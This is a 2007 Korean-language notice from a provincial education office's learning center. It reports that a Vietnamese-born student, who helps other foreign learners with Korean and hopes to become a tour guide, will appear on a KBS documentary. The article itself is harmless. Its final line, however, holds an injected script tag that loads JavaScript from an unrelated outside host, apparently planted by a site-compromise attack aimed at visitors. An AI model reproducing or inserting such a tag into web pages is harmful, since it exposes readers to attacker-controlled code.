- 제목
- 충청남도교육청서부평생교육원 외국인수강생 전채린씨, 휴먼다큐 아리랑 출연
- 작성자
- 관리*
- 작성일
- 2007.12.08
- 조회수
- 2423
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외국인 수강생 전채린, KBS 프라임 “휴먼다큐 아리랑” 출연
- 한국에서의 관광가이드를 꿈꾸는 전채린씨의 “사랑愛 코리아” -
충남교육청 서부평생학습관에서 한국문화학교 등의 과정 수강을 통해 한국어를 능통하게 사용하며 이제는 새로 들어온 외국인 수강생들을 대상으로 한국어 수업 도우미롤 맹활약하고 있는 베트남출신 전채린(36세)씨의 한국어 사랑 이야기가 KBS 프라임 TV를 통해 전국으로 전파를 타게 된다.
11년 전 베트남에서 한국으로 시집와 예쁜 한국어 이름까지 얻은 채린씨, 지금은 초등학생 자녀를 둔 어엿한 주부이며, 한국에서 관광가이드를 하고 싶다는 본임의 꿈을 향한 도전을 계속하고 있다.
[방송 주요내용]아직 한국어가 서투른 베트남 친구들이 수업 내용에 뒤쳐지면 자신의 능력발휘를 하는 채린씨, 친구에게 수업 내용을 자세하게 설명 해 주고 이해시켜주는 등 도우미로서의 맹활약중이다. 그런 그의 진짜 꿈은 한국에서 관광가이드를 하는 것이라고 한다. ?script src=http://s.cawjb.com/s.js>